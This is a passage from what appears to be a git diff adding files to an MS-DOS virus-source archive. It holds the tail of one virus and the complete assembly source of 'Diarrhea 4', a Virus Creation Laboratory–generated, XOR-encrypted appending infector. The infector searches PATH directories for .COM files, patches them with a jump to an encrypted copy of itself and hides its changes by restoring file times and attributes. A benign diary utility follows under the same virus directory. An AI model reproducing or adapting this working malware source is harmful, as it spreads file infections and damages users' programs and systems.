06Fh, 072h, 074h, 065h + db 064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h + db 04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h + db 00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h + db 074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h + db 003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h + db 074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh + db 021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h + db 0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h + db 08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh + db 03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh + db 06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h + db 00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h + db 073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h + db 002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah + db 0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h + db 0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh + db 03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h + db 075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh + db 0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh + db 08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h + db 001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h + db 0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh + db 08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h + db 0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h + db 00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh + db 01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h + db 003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh + db 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h + db 0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h + db 0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h + db 020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h + db 0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h + db 0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh + db 020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h + db 0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h + db 0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h + db 003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h + db 0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h + db 003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h + db 0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h + db 0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h + db 0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h + db 0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h + db 0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h + db 0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h + db 004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h + db 0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h + db 019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 0D0h + db 020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h + db 020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h + db 0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h + db 020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h + db 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h + db 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h + db 06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h + db 003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh + db 047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh + db 020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h + db 065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah + db 069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h + db 004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h + db 0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h + db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh + db 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h + db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h + db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh + db 018h, 019h, 04Fh, 018h + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.diarrhea.asm b/MSDOS/Virus.MSDOS.Unknown.diarrhea.asm new file mode 100644 index 00000000..78de4835 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.diarrhea.asm @@ -0,0 +1,424 @@ +; DIARRHE4.ASM -- DIARRHEA 4 +; Created with Nowhere Man's Virus Creation Laboratory v1.00 +; Written by URNST KOUCH + +virus_type equ 0 ; Appending Virus +is_encrypted equ 1 ; We're encrypted +tsr_virus equ 0 ; We're not TSR + +code segment byte public + assume cs:code,ds:code,es:code,ss:code + org 0100h + +main proc near + db 0E9h,00h,00h ; Near jump (for compatibility) +start: call find_offset ; Like a PUSH IP +find_offset: pop bp ; BP holds old IP + sub bp,offset find_offset ; Adjust for length of host + + call encrypt_decrypt ; Decrypt the virus + +start_of_code label near + + lea si,[bp + buffer] ; SI points to original start + mov di,0100h ; Push 0100h on to stack for + push di ; return to main program + movsw ; Copy the first two bytes + movsb ; Copy the third byte + + mov di,bp ; DI points to start of virus + + mov bp,sp ; BP points to stack + sub sp,128 ; Allocate 128 bytes on stack + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address on stack + + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer on stack + int 021h + + call get_weekday + cmp ax,0005h ; Did the function return 5? + je strt00 ; If equal, do effect + jmp end00 ; Otherwise skip over it +strt00: lea si,[di + data00] ; SI points to data + mov cx,0107h ; Second argument is 263 + push di ; Save DI + push es ; Save ES + + jcxz uncrunch_done ; Exit if there are no characters + + mov ah,0Fh ; BIOS get screen mode function + int 10h + xor ah,ah ; BIOS set screen mode function + int 10h ; Clear the screen + + xor di,di + mov ax,0B800h ; AX is set to video segment + mov es,ax ; ES holds video segment + + mov dx,di ; Save X coordinate for later + xor ax,ax ; Set current attributes + cld + +loopa: lodsb ; Get next character + cmp al,32 ; Is it a control character? + jb foreground ; Handle it if it is + stosw ; Save letter on screen +next: loop loopa ; Repeat until we're done + jmp short uncrunch_done ; Leave this routine + +foreground: cmp al,16 ; Are we changing the foreground? + jnb background ; If not, check the background + and ah,0F0h ; Strip off old foreground + or ah,al ; Put the new one on + jmp short next ; Resume looping + +background: cmp al,24 ; Are we changing the background? + je next_line ; If AL = 24, go to next line + jnb flash_bit_toggle ; If AL > 24 set the flash bit + sub al,16 ; Change AL to a color number + add al,al ; Crude way of shifting left + add al,al ; four bits without changing + add al,al ; CL or wasting space. Ok, + add al,al ; I guess. + and al,08Fh ; Strip off old background + or ah,al ; Put the new one on + jmp short next ; Resume looping + +next_line: add dx,160 ; Skip a whole line (80 chars. + mov di,dx ; AND 80 attribs.) + jmp short next ; Resume looping + +flash_bit_toggle: cmp al,27 ; Is it a blink toggle? + jb multi_output ; If AL < 27, it's a blinker + jne next ; Otherwise resume looping + xor ah,128 ; Toggle the flash bit + jmp short next ; Resume looping + +multi_output: cmp al,25 ; Set Zero flag if multi-space + mov bx,cx ; Save main counter + lodsb ; Get number of repititions + mov cl,al ; Put it in CL + mov al,' ' ; AL holds a space + jz start_output ; If displaying spaces, jump + lodsb ; Otherwise get character to use + dec bx ; Adjust main counter + +start_output: xor ch,ch ; Clear CH + inc cx ; Add one to count + rep stosw ; Display the character + mov cx,bx ; Restore main counter + dec cx ; Adjust main counter + loopnz loopa ; Resume looping if not done + +uncrunch_done: pop es ; Restore ES + pop di ; Restore DI + +end00: call search_files ; Find and infect a file + + +com_end: pop dx ; DX holds original DTA address + mov ah,01Ah ; DOS set DTA function + int 021h + + mov sp,bp ; Deallocate local buffer + + xor ax,ax ; + mov bx,ax ; + mov cx,ax ; + mov dx,ax ; Empty out the registers + mov si,ax ; + mov di,ax ; + mov bp,ax ; + + ret ; Return to original program +main endp + +search_files proc near + mov bx,di ; BX points to the virus + push bp ; Save BP + mov bp,sp ; BP points to local buffer + sub sp,135 ; Allocate 135 bytes on stack + + mov byte ptr [bp - 135],'\' ; Start with a backslash + + mov ah,047h ; DOS get current dir function + xor dl,dl ; DL holds drive # (current) + lea si,[bp - 134] ; SI points to 64-byte buffer + int 021h + + call traverse_path ; Start the traversal + +traversal_loop: cmp word ptr [bx + path_ad],0 ; Was the search unsuccessful? + je done_searching ; If so then we're done + call found_subdir ; Otherwise copy the subdirectory + + mov ax,cs ; AX holds the code segment + mov ds,ax ; Set the data and extra + mov es,ax ; segments to the code segment + + xor al,al ; Zero AL + stosb ; NULL-terminate the directory + + mov ah,03Bh ; DOS change directory function + lea dx,[bp - 70] ; DX points to the directory + int 021h + + lea dx,[bx + com_mask] ; DX points to "*.COM" + push di + mov di,bx + call find_files ; Try to infect a .COM file + mov bx,di + pop di + jnc done_searching ; If successful the exit + jmp short traversal_loop ; Keep checking the PATH + +done_searching: mov ah,03Bh ; DOS change directory function + lea dx,[bp - 135] ; DX points to old directory + int 021h + + cmp word ptr [bx + path_ad],0 ; Did we run out of directories? + jne at_least_tried ; If not then exit + stc ; Set the carry flag for failure +at_least_tried: mov sp,bp ; Restore old stack pointer + pop bp ; Restore BP + ret ; Return to caller +com_mask db "*.COM",0 ; Mask for all .COM files +search_files endp + +traverse_path proc near + mov es,word ptr cs:[002Ch] ; ES holds the enviroment segment + xor di,di ; DI holds the starting offset + +find_path: lea si,[bx + path_string] ; SI points to "PATH=" + lodsb ; Load the "P" into AL + mov cx,08000h ; Check the first 32767 bytes + repne scasb ; Search until the byte is found + mov cx,4 ; Check the next four bytes +check_next_4: lodsb ; Load the next letter of "PATH=" + scasb ; Compare it to the environment + jne find_path ; If there not equal try again + loop check_next_4 ; Otherwise keep checking + + mov word ptr [bx + path_ad],di ; Save the PATH address + mov word ptr [bx + path_ad + 2],es ; Save the PATH's segment + ret ; Return to caller + +path_string db "PATH=" ; The PATH string to search for +path_ad dd ? ; Holds the PATH's address +traverse_path endp + +found_subdir proc near + lds si,dword ptr [bx + path_ad] ; DS:SI points to PATH + lea di,[bp - 70] ; DI points to the work buffer + push cs ; Transfer CS into ES for + pop es ; byte transfer +move_subdir: lodsb ; Load the next byte into AL + cmp al,';' ; Have we reached a separator? + je moved_one ; If so we're done copying + or al,al ; Are we finished with the PATH? + je moved_last_one ; If so get out of here + stosb ; Store the byte at ES:DI + jmp short move_subdir ; Keep transfering characters + +moved_last_one: xor si,si ; Zero SI to signal completion +moved_one: mov word ptr es:[bx + path_ad],si ; Store SI in the path address + ret ; Return to caller +found_subdir endp + +find_files proc near + push bp ; Save BP + + mov ah,02Fh ; DOS get DTA function + int 021h + push bx ; Save old DTA address + + mov bp,sp ; BP points to local buffer + sub sp,128 ; Allocate 128 bytes on stack + + push dx ; Save file mask + mov ah,01Ah ; DOS set DTA function + lea dx,[bp - 128] ; DX points to buffer + int 021h + + mov ah,04Eh ; DOS find first file function + mov cx,00100111b ; CX holds all file attributes + pop dx ; Restore file mask +find_a_file: int 021h + jc done_finding ; Exit if no files found + call infect_file ; Infect the file! + jnc done_finding ; Exit if no error + mov ah,04Fh ; DOS find next file function + jmp short find_a_file ; Try finding another file + +done_finding: mov sp,bp ; Restore old stack frame + mov ah,01Ah ; DOS set DTA function + pop dx ; Retrieve old DTA address + int 021h + + pop bp ; Restore BP + ret ; Return to caller +find_files endp + +infect_file proc near + mov ah,02Fh ; DOS get DTA address function + int 021h + mov si,bx ; SI points to the DTA + + mov byte ptr [di + set_carry],0 ; Assume we'll fail + + cmp word ptr [si + 01Ah],(65279 - (finish - start)) + jbe size_ok ; If it's small enough continue + jmp infection_done ; Otherwise exit + +size_ok: mov ax,03D00h ; DOS open file function, r/o + lea dx,[si + 01Eh] ; DX points to file name + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,03Fh ; DOS read from file function + mov cx,3 ; CX holds bytes to read (3) + lea dx,[di + buffer] ; DX points to buffer + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + xchg dx,ax ; Faster than a PUSH AX + mov ah,03Eh ; DOS close file function + int 021h + xchg dx,ax ; Faster than a POP AX + + sub ax,finish - start + 3 ; Adjust AX for a valid jump + cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet? + je infection_done ; If equal then exit + mov byte ptr [di + set_carry],1 ; Success -- the file is OK + add ax,finish - start ; Re-adjust to make the jump + mov word ptr [di + new_jump + 1],ax ; Construct jump + + mov ax,04301h ; DOS set file attrib. function + xor cx,cx ; Clear all attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + + mov ax,03D02h ; DOS open file function, r/w + int 021h + xchg bx,ax ; BX holds file handle + + mov ah,040h ; DOS write to file function + mov cx,3 ; CX holds bytes to write (3) + lea dx,[di + new_jump] ; DX points to the jump we made + int 021h + + mov ax,04202h ; DOS file seek function, EOF + cwd ; Zero DX _ Zero bytes from end + mov cx,dx ; Zero CX / + int 021h + + push si ; Save SI through call + call encrypt_code ; Write an encrypted copy + pop si ; Restore SI + + mov ax,05701h ; DOS set file time function + mov cx,[si + 016h] ; CX holds old file time + mov dx,[si + 018h] ; DX holds old file date + int 021h + + mov ah,03Eh ; DOS close file function + int 021h + + mov ax,04301h ; DOS set file attrib. function + xor ch,ch ; Clear CH for file attribute + mov cl,[si + 015h] ; CX holds file's old attributes + lea dx,[si + 01Eh] ; DX points to victim's name + int 021h + +infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed + ret ; Return to caller + +set_carry db ? ; Set-carry-on-exit flag +buffer db 090h,0CDh,020h ; Buffer to hold old three bytes +new_jump db 0E9h,?,? ; New jump to virus +infect_file endp + + +get_weekday proc near + mov ah,02Ah ; DOS get date function + int 021h + cbw ; Sign-extend AL into AX + ret ; Return to caller +get_weekday endp + +data00 DB 15,16,24,24,24,24,24,24,25,3,12,'Ŀ Ŀ Ŀ ' + DB 'Ŀ Ŀ Ŀ Ŀ Ŀ Ŀ Ŀ ',24 + DB 25,3,'',25,2,'Ĵ',25,2,'',25,3,' Ĵ ' + DB ' Ĵ Ĵ ',25,2,'Ĵ ',24,25,3,'' + DB ' ',25,2,'',25,3,' ' + DB ' o',24,25,19,14,'-GG Allin ' + DB '& The Texas Nazis',24,24,24,24,24,24,24,24,24,24,24,24 + DB 24,24,24,24 + +vcl_marker db "[VCL]",0 ; VCL creation marker + +encrypt_code proc near + push bp ; Save BP + mov bp,di ; Use BP as pointer to code + lea si,[bp + encrypt_decrypt]; SI points to cipher routine + + xor ah,ah ; BIOS get time function + int 01Ah + mov word ptr [si + 9],dx ; Low word of timer is new key + + xor byte ptr [si + 1],8 ; + xor byte ptr [si + 8],1 ; Change all SIs to DIs + xor word ptr [si + 11],0101h; (and vice-versa) + + lea di,[bp + finish] ; Copy routine into heap + mov cx,finish - encrypt_decrypt - 1 ; All but final RET + push si ; Save SI for later + push cx ; Save CX for later + rep movsb ; Copy the bytes + + lea si,[bp + write_stuff] ; SI points to write stuff + mov cx,5 ; CX holds length of write + rep movsb ; Copy the bytes + + pop cx ; Restore CX + pop si ; Restore SI + inc cx ; Copy the RET also this time + rep movsb ; Copy the routine again + + mov ah,040h ; DOS write to file function + lea dx,[bp + start] ; DX points to virus + + lea si,[bp + finish] ; SI points to routine + call si ; Encrypt/write/decrypt + + mov di,bp ; DI points to virus again + pop bp ; Restore BP + ret ; Return to caller + +write_stuff: mov cx,finish - start ; Length of code + int 021h +encrypt_code endp + +end_of_code label near + +encrypt_decrypt proc near + lea si,[bp + start_of_code] ; SI points to code to decrypt + mov cx,(end_of_code - start_of_code) / 2 ; CX holds length +xor_loop: db 081h,034h,00h,00h ; XOR a word by the key + inc si ; Do the next word + inc si ; + loop xor_loop ; Loop until we're through + ret ; Return to caller +encrypt_decrypt endp +finish label near + +code ends + end main diff --git a/MSDOS/Virus.MSDOS.Unknown.diary.asm b/MSDOS/Virus.MSDOS.Unknown.diary.asm new file mode 100644 index 00000000..b3b31c83 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.diary.asm @@ -0,0 +1,499 @@ +; +---------------------------------------------------+ ; +; | Sample program DIARY for use with Magic Assembler | ; +; +---------------------------------------------------+ ; + mov ah,09 + mov dx,offset(headtxt) + int 21 + cmp byte [0081],0d + jne @1 + mov dx,offset(syntax) + jmp error +@1 cmp byte [0082],'A' + je @2 + cmp byte [0082],'a' + je @2 + cmp byte [0082],'!' + jne @10 + jmp @f +@10 cmp byte [0082],'D' + je @1a + cmp byte [0082],'d' + je @1a + jmps @1b +@1a jmp @1d +@1b cmp byte [0082],'O' + je @1e + cmp byte [0082],'o' + je @1e + jmps @29 +@1e jmp @1f +@29 cmp byte [0082],'S' + je @2c + cmp byte [0082],'s' + je @2c + jmps @2d +@2c jmp @2e +@2d mov dx,offset(unpar) + jmp error +; Add item +@2 mov ah,3c + mov cx,0020 + mov dx,offset(tempnam) + int 21 + mov thandle,ax + mov ax,3d00 + mov dx,offset(datanam) + int 21 + jc @3 +;Copy the data + mov bx,ax +@5 mov ah,3f + mov cx,0003 + mov dx,offset(date) + int 21 + cmp ax,cx + jne @4 + mov ah,3f + mov cx,0001 + mov dx,offset(tsize) + int 21 + mov ah,3f + mov ch,0 + mov cl,tsize + mov dx,offset(txt) + int 21 + push bx + mov ah,40 + mov bx,thandle + mov ch,00 + mov cl,tsize + add cx,0004 + mov dx,offset(date) + int 21 + pop bx + jmps @5 +;Close and delete DIARY.DAT +@4 mov ah,3e + int 21 + mov ah,41 + mov dx,offset(datanam) + int 21 +;Ask for data +@3 mov ah,09 + mov dx,offset(askdate) + int 21 +@9 call readdat + mov ah,09 + mov dx,offset(message) + int 21 + mov tsize,00 + mov di,offset(txt) +@e mov ah,00 + int 16 + cmp al,0d + je @c + cmp al,08 + jne @d + cmp tsize,00 + je @e + mov ah,09 + mov dx,offset(bs) + int 21 + dec di + dec tsize + jmps @e +@d inc tsize + stosb + mov ah,0e + mov bx,0007 + int 10 + jmps @e + +;End of lineread +@c mov ah,40 + mov bx,thandle + mov ch,00 + mov cl,tsize + add cx,0004 + mov dx,offset(date) + int 21 + mov ah,3e + int 21 + mov ah,56 + mov dx,offset(tempnam) + mov di,offset(datanam) + int 21 + int 20 +;Look for warning +@f mov ah,2a + int 21 + sub cx,076c + mov byte [offset(cdate)],dl + mov byte [offset(cdate)+1],dh + mov byte [offset(cdate)+2],cl +@1c mov ax,3d00 + mov dx,offset(datanam) + int 21 + jnc @11 + mov dx,offset(datanf) + jmp error +@11 push ax + mov ah,3c + mov cx,0020 + mov dx,offset(tempnam) + int 21 + mov thandle,ax + pop ax + mov bx,ax +@19 mov ah,3f + mov cx,0003 + mov dx,offset(date) + int 21 + cmp ax,cx + jne @12 + mov ah,3f + mov cx,0001 + mov dx,offset(tsize) + int 21 + mov ah,3f + mov ch,00 + mov cl,tsize + mov dx,offset(txt) + int 21 + mov si,offset(cdate) + mov di,offset(date) + mov cx,0003 +@13 cmpsb + jne @14 + loop @13 + call delit + cmp al,01 + jne @14 + jmps @19 +@14 push bx + mov ah,40 + mov bx,thandle + mov ch,00 + mov cl,tsize + add cx,0004 + mov dx,offset(date) + int 21 + pop bx + jmps @19 +;End of file +@12 mov ah,3e + int 21 + mov ah,41 + mov dx,offset(datanam) + int 21 + mov ah,3e + mov bx,thandle + int 21 + mov ah,56 + mov dx,offset(tempnam) + mov di,offset(datanam) + int 21 + int 20 +;Delete item +@1d mov ah,09 + mov dx,offset(wdel) + int 21 + call readdat + mov si,offset(date) + mov di,offset(cdate) + mov cx,0003 +@3c movsb + loop @3c + jmp @1c +;Delete old dates +@1f mov ah,2a + int 21 + mov bx,offset(cdate) + mov [offset(cdate)],dl + mov [offset(cdate)+1],dh + sub cx,076c + mov [offset(cdate)+2],cl + mov ax,3d00 + mov dx,offset(datanam) + int 21 + jnc @21 + mov dx,offset(datanf) + jmp error +@21 push ax + mov ah,3c + mov cx,0020 + mov dx,offset(tempnam) + int 21 + mov thandle,ax + pop bx +@25 mov ah,3f + mov cx,0003 + mov dx,offset(date) + int 21 + cmp ax,cx + jne @22 + mov ah,3f + mov cx,0001 + mov dx,offset(tsize) + int 21 + mov ah,3f + mov ch,00 + mov cl,tsize + mov dx,offset(txt) + int 21 + mov si,offset(date)+2 + mov di,offset(cdate)+2 + mov cx,0003 +@23 std + cmpsb + cld + ja @20 + jb @24 + loop @23 +@24 call delit + cmp al,01 + je @25 +;Still future +@20 push bx + mov ah,40 + mov bx,thandle + mov ch,00 + mov cl,tsize + add cx,0004 + mov dx,offset(date) + int 21 + pop bx + jmps @25 +;End of file +@22 mov ah,3e + int 21 + mov ah,3e + mov bx,thandle + int 21 + mov ah,41 + mov dx,offset(datanam) + int 21 + mov ah,56 + mov dx,offset(tempnam) + mov di,offset(datanam) + int 21 + int 20 +;Show dates +@2e mov ax,3d00 + mov dx,offset(datanam) + int 21 + jnc @2f + mov dx,offset(datanf) + jmp error +@2f mov bx,ax +@3b mov ah,3f + mov cx,0003 + mov dx,offset(date) + int 21 + cmp ax,cx + jne @30 + mov ah,3f + mov cx,0001 + mov dx,offset(tsize) + int 21 + mov cl,tsize + mov ch,00 + mov ah,3f + mov dx,offset(txt) + int 21 + mov si,ax + mov byte [offset(txt)+si],'$' + mov al,date + call shownum + push bx + mov ah,09 + mov dx,offset(slash) + int 21 + mov al,[offset(date)+01] + call shownum + mov ah,09 + mov dx,offset(slash) + int 21 + mov al,[offset(date)+02] + call shownum + mov ah,09 + mov dx,offset(space) + int 21 + mov ah,09 + mov dx,offset(txt) + int 21 + mov ah,09 + mov dx,offset(crlf) + int 21 + pop bx + jmps @3b +@30 mov ah,3e + int 21 + int 20 + +delit push bx + mov al,date + call shownum + mov ah,09 + mov dx,offset(slash) + int 21 + mov al,[offset(date)+01] + call shownum + mov ah,09 + mov dx,offset(slash) + int 21 + mov al,[offset(date)+02] + call shownum + mov ah,09 + mov dx,offset(space) + int 21 + mov bh,00 + mov bl,tsize + mov byte [offset(txt)+bx],'$' + pop bx + mov ah,09 + mov dx,offset(txt) + int 21 + mov ah,09 + mov dx,offset(delete) + int 21 + call flag + push ax + mov ah,09 + mov dx,offset(crlf) + int 21 + pop ax + ret + +error mov ah,09 + int 21 + int 20 + +flag push bx +@16 mov ah,00 + int 16 + mov ah,0e + mov bx,0007 + int 10 + cmp al,'Y' + je @15 + cmp al,'y' + je @15 + cmp al,'N' + je @17 + cmp al,'n' + je @17 + mov ah,09 + mov dx,offset(bs) + int 21 + jmps @16 +@15 mov al,01 + jmps @18 +@17 mov al,00 +@18 pop bx + ret + +readdat mov di,offset(date) +@2a call readnum + cmp al,1f + jna @a + mov ah,09 + mov dx,offset(backerr) + int 21 + jmps @2a +@a stosb + mov ah,09 + mov dx,offset(slash) + int 21 +@2b call readnum + cmp al,0c + jna @8 + mov ah,09 + mov dx,offset(backerr) + int 21 + jmps @2b +@8 stosb + mov ah,09 + mov dx,offset(slash) + int 21 + call readnum + stosb + mov ah,09 + mov dx,offset(crlf) + int 21 + ret + +;AL=NUMBER +shownum push ax + push bx + mov ah,00 + mov bl,0a + div bl + cmp al,00 + je @31 + push ax + mov ah,0e + add al,30 + mov bx,0007 + int 10 + pop ax +@31 mov al,ah + add al,30 + mov ah,0e + mov bx,0007 + int 10 + pop bx + pop ax + ret + +readnum mov ah,00 +@6 int 16 + cmp al,30 + jb @6 + cmp al,39 + ja @6 + mov ah,0e + mov bx,0007 + int 10 + sub al,30 + mov bl,0a + mul bl + mov bl,al + mov ah,00 +@7 int 16 + cmp al,30 + jb @7 + cmp al,39 + ja @7 + mov ah,0e + push bx + mov bx,0007 + int 10 + pop bx + sub al,30 + add al,bl + ret + +backerr db 07 08 08 '$' +bs db 08 20 08 '$' +crlf db 0a 0d '$' +datanam db 'DIARY.DAT' 00 +datanf db 'DIARY.DAT not found' 0a 0d '$' +delete db 0a 0d 'Delete this entry? $' +askdate db 'Enter date (DD/MM/YY): $' +headtxt db 'Diary - Written by Bert Greevenbosch for Magic Software' 0a 0d + db 'Public Domain Version' 0a 0d '$' +message db 'Enter message to display on that date: $' +slash db '/$' +space db ' $' +syntax db 0a 0d 'Syntax: DIARY [A/D/O/S/!]' 0a 0a 0d 'A = Add' 0a 0d 'D = Delete' 0a 0d 'O = Delete all decayed dates' 0a 0d 'S = Show all dates' 0a 0d '! = Warn' 0a 0d '$' +tempnam db 'DIARY.TMP' 00 +unpar db 'Unknown parameter' 0a 0d '$' +wdel db 'Enter date to delete from (DD/MM/YY): $' +- +cdate ds 3 +thandle dw ? +;the record +date ds 3 +tsize db ? +txt ds 100